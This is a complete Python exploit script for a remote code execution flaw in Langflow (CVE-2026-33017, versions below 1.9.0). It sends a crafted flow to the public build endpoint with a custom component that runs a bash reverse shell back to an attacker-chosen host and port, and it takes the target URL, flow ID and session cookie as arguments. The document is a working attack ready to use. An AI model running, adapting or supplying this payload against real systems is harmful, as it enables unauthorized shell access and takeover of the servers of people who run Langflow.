# Exploit Title: Langflow 1.9.0 - RCE # Exploit Author: Diamorphine # Vendor Homepage: https://www.langflow.org/ # Software Link: https://www.langflow.org/desktop # Version: < 1.9.0 # Tested on: Debian # CVE : CVE-2026-33017 import asyncio import httpx import argparse from urllib.parse import urljoin async def main(target, flow_id, lhost, lport, client_id): async with httpx.AsyncClient(verify=False) as client: data= { "data": { "nodes": [ { "id": "Exploit-001", "type": "genericNode", "position": {"x": 0, "y": 0}, "data": { "id": "Exploit-001", "type": "ExploitComp", "node": { "template": { "code": { "type": "code", "required": True, "show": True, "multiline": True, "value": f"import os\n\n_x = os.system(\"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={{}})", "name": "code", "password": False, "advanced": False, "dynamic": False }, "_type": "Component" }, "description": "X", "base_classes": ["Data"], "display_name": "ExploitComp", "name": "ExploitComp", "frozen": False, "outputs": [ { "types": ["Data"], "selected": "Data", "name": "o", "display_name": "O", "method": "r", "value": "__UNDEFINED__", "cache": True, "allows_loop": False, "tool_mode": False, "hidden": None, "required_inputs": None, "group_outputs": False } ], "field_order": ["code"], "beta": False, "edited": False } } } ], "edges": [] }, "inputs": None } cookies = {"client_id":client_id} url = urljoin(target, f"/api/v1/build_public_tmp/{flow_id}/flow") try: r = await client.post(url=url, json=data, cookies=cookies) print(f"[+] Request Request completed with status: {r.status_code}") except httpx.ReadTimeout: print("[+] Shell is done") parser = argparse.ArgumentParser(description="Exploit for Langflow RCE CVE-2026-33017") parser.add_argument('-l', '--lhost', required=True, help="Attacker local ip address.") parser.add_argument('-p', '--lport', required=True, help="Attacker local port.") parser.add_argument('-u', '--url', required=True, help="Target url. e.g. http://127.0.0.1/") parser.add_argument('-f', '--flow-id', required=True, help="Target flow ID in Langflow (e.g., abc-123-def). Obtained from /api/v1/flows/ or the UI URL") parser.add_argument('-c', '--client-id', required=True, help="Client ID for Langflow session (used as cookie 'client_id').") args = parser.parse_args() if __name__ == '__main__': asyncio.run(main(args.url, args.flow_id, args.lhost, args.lport, args.client_id))